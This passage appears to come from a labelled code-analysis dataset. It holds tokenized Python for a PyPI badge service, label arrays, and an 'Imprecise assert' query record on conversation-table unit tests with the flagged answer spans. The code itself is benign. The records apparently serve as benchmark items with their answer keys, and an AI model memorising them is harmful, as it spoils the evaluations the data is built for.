", " _", "self_", "._", "shield", "\\u", "subject_", "=_", "text_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "self_", "._", "package_", "._", "late", "st", "\\u", "release", "\\u", "id_", "._", "replace_", "(_", "'-'_", ",_", "'--'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Whe", "el", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "wheel", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Whe", "el", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "wheel_", "=_", "self_", "._", "package_", "._", "has", "\\u", "wheel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wheel", "\\u", "text_", "=_", "\"", "ye", "s", "\"_", "if_", "has", "\\u", "wheel_", "else_", "\"", "no", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "colour_", "=_", "\"", "bright", "green", "\"_", "if_", "has", "\\u", "wheel_", "else_", "\"", "red", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "wheel", "\\u", "text_", ",_", "colour_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Egg", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "egg", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Egg", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ",_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "egg", "_", "=_", "self_", "._", "package_", "._", "has", "\\u", "egg", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "egg", "\\u", "text_", "=_", "\"", "ye", "s", "\"_", "if_", "has", "\\u", "egg", "_", "else_", "\"", "no", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "colour_", "=_", "\"", "red", "\"_", "if_", "has", "\\u", "egg", "_", "else_", "\"", "bright", "green", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "egg", "\\u", "text_", ",_", "colour_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Format", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "format", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Format", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "egg", "_", "=_", "self_", "._", "package_", "._", "has", "\\u", "egg", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "colour_", "=_", "\"", "yell", "ow", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "\"", "source", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "\"", "egg", "\"_", "if_", "has", "\\u", "egg", "_", "else_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "colour_", "=_", "\"", "red", "\"_", "if_", "has", "\\u", "egg", "_", "else_", "colour_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "wheel_", "=_", "self_", "._", "package_", "._", "has", "\\u", "wheel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "\"", "wheel", "\"_", "if_", "has", "\\u", "wheel_", "else_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "colour_", "=_", "\"", "bright", "green", "\"_", "if_", "has", "\\u", "wheel_", "else_", "colour_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "text_", ",_", "colour_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "License", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "license", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "License", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "license_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Get", " ", "the", " ", "package", " ", "license", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "package_", "._", "license_", "and_", "'\\\\", "n", "'_", "not_", "in_", "self_", "._", "package_", "._", "license_", "and_", "self_", "._", "package_", "._", "license_", "._", "upper_", "(_", ")_", "!=_", "'", "UNK", "NOW", "N", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "package_", "._", "license_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "package_", "._", "license", "\\u", "from", "\\u", "classifiers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "package_", "._", "license", "\\u", "from", "\\u", "classifiers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\"", "unknown", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "License", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "license_", "=_", "self_", "._", "get", "\\u", "license_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "license_", "=_", "escape", "\\u", "shield", "\\u", "query_", "(_", "license_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "colour_", "=_", "\"", "blue", "\"_", "if_", "license_", "!=_", "\"", "unknown", "\"_", "else_", "\"", "red", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "license_", ",_", "colour_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Pyth", "on", "Version", "s", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "python", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pyth", "on", "Version", "s", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "versions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "support", "ed", " ", "Pyth", "on", " ", "version", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "self_", "._", "package_", "._", "classifiers_", ",_", "list_", ")_", "and_", "not_", "len_", "(_", "self_", "._", "package_", "._", "classifiers_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "none", " ", "found", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cs_", "=_", "self_", "._", "package_", "._", "python", "\\u", "versions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cs_", "=_", "sorted_", "(_", "set_", "(_", "cs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "len_", "(_", "cs_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "assume", " ", "2.7", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "2.7", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pyth", "on", "Version", "s", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "versions_", "=_", "self_", "._", "get", "\\u", "versions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "versions_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "versions_", ",_", "'", "blue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "\",", " ", "\"_", "._", "join_", "(_", "versions_", ")_", ",_", "'", "blue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Implementation", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "implementation", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Implementation", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "implementation", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "support", "ed", " ", "Pyth", "on", " ", "implementation", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cs_", "=_", "self_", "._", "package_", "._", "python", "\\u", "implementation", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cs_", "=_", "[_", "c_", "._", "lower_", "(_", ")_", "for_", "c_", "in_", "cs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "len_", "(_", "cs_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "assume", " ", "CP", "ython_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "cpy", "tho", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Implementation", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "versions_", "=_", "self_", "._", "get", "\\u", "implementation", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "versions_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "versions_", ",_", "'", "blue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "\",", " ", "\"_", "._", "join_", "(_", "versions_", ")_", ",_", "'", "blue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Status", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "status", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Status", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "status_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "self_", "._", "package_", "._", "classifiers_", ",_", "list_", ")_", "and_", "not_", "len_", "(_", "self_", "._", "package_", "._", "classifiers_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "none", " ", "found", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "classifier_", "in_", "self_", "._", "package_", "._", "classifiers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "classifier_", "._", "startswith_", "(_", "\"", "Dev", "elo", "pme", "nt", " ", "Status", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bits_", "=_", "classifier_", "._", "split_", "(_", "'", " ", "::", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "bits_", "[_", "1_", "]_", "._", "split_", "(_", "'", " ", "-", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\"", "1", "\"_", ",_", "\"", "unknown", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Status", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "statuses_", "=_", "{_", "'", "1", "'_", ":_", "'", "red", "'_", ",_", "'", "2", "'_", ":_", "'", "red", "'_", ",_", "'", "3", "'_", ":_", "'", "red", "'_", ",_", "'", "4", "'_", ":_", "'", "yell", "ow", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "5", "'_", ":_", "'", "bright", "green", "'_", ",_", "'", "6", "'_", ":_", "'", "bright", "green", "'_", ",_", "'", "7", "'_", ":_", "'", "red", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", ",_", "status_", "=_", "self_", "._", "get", "\\u", "status_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "status_", "._", "lower_", "(_", ")_", "._", "replace_", "(_", "'-'_", ",_", "'--'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "\"", "stable", "\"_", "if_", "status_", "==_", "\"", "producti", "on", "/", "stable", "\"_", "else_", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "status_", ",_", "statuses_", "[_", "code_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "<", "string", ":", "generat", "or", ">/", "<", "string", ":", "package", ">/", "badge", ".", "<", "string", ":", "extensi", "on", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "shield", "_", "(_", "request_", ",_", "generator_", ",_", "package_", ",_", "extension_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gc_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ext_", "=_", "mimetypes_", "._", "types", "\\u", "map_", "[_", "\".", "{", "0", "}\"_", "._", "format_", "(_", "extension_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "headers_", "._", "update_", "(_", "{_", "'", "content", "-", "type", "'_", ":_", "ext_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "klass_", "=_", "generators_", "[_", "generator_", "]_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img_", "=_", "klass_", "._", "get_", "(_", "request_", ",_", "package_", ",_", "extension_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "img_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
dropbox/emmer/tests/test_conversation_manager.py
[ { "content": " def test_add_get(self):\n table = ConversationTable()\n conversation = StubConversation()\n table.add_conversation(\"127.0.0.1\", \"3942\", conversation)\n self.assertEqual(table.get_conversation(\"127.0.0.1\", \"3942\"),\n conversation)\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_add_get", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 13 }, { "content": " def test_get_without_add(self):\n table = ConversationTable()\n self.assertIsNone(table.get_conversation(\"127.0.0.1\", \"3942\"))\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_get_without_add", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 21 }, { "content": " def test_add_delete(self):\n table = ConversationTable()\n conversation = StubConversation()\n table.add_conversation(\"127.0.0.1\", \"3942\", conversation)\n self.assertTrue(table.delete_conversation(\"127.0.0.1\", \"3942\"))\n self.assertIsNone(table.get_conversation(\"127.0.0.1\", \"3942\"))\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_add_delete", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 26 }, { "content": " def test_delete_without_add(self):\n # Seems uninteresting, but this test is useful to defend against\n # exceptions\n table = ConversationTable()\n self.assertEqual(table.delete_conversation(\"127.0.0.1\", \"3942\"),\n False)\n self.assertIsNone(table.get_conversation(\"127.0.0.1\", \"3942\"))\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_delete_without_add", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 34 } ]
[ { "span": "self.assertTrue(table.lock._RLock__count == 0)", "start_line": 19, "start_column": 8, "end_line": 19, "end_column": 54 }, { "span": "self.assertTrue(table.lock._RLock__count == 0)", "start_line": 24, "start_column": 8, "end_line": 24, "end_column": 54 }, { "span": "self.assertTrue(table.lock._RLock__count == 0)", "start_line": 32, "start_column": 8, "end_line": 32, "end_column": 54 }, { "span": "self.assertTrue(table.lock._RLock__count == 0)", "start_line": 41, "start_column": 8, "end_line": 41, "end_column": 54 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Conversation", "Table_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "add", "\\u", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table_", "=_", "Conversation", "Table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conversation_", "=_", "Stu", "b", "Conversation", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "._", "add", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ",_", "conversation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "table_", "._", "get", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "conversation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "table_", "._", "lock_", "._", "\\u", "RL", "ock", "\\u\\u", "count_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Conversation", "Table_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "with", "out", "\\u", "add_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table_", "=_", "Conversation", "Table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "table_", "._", "get", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "table_", "._", "lock_", "._", "\\u", "RL", "ock", "\\u\\u", "count_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Conversation", "Table_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "delete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table_", "=_", "Conversation", "Table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conversation_", "=_", "Stu", "b", "Conversation", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "._", "add", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ",_", "conversation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "table_", "._", "delete", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "table_", "._", "get", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "table_", "._", "lock_", "._", "\\u", "RL", "ock", "\\u\\u", "count_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Conversation", "Table_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "with", "out", "\\u", "add_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "See", "ms", " ", "unin", "tere", "stin", "g", ",", " ", "but", " ", "this", " ", "test", " ", "is", " ", "usef", "ul", " ", "to", " ", "defend", " ", "against", "_", 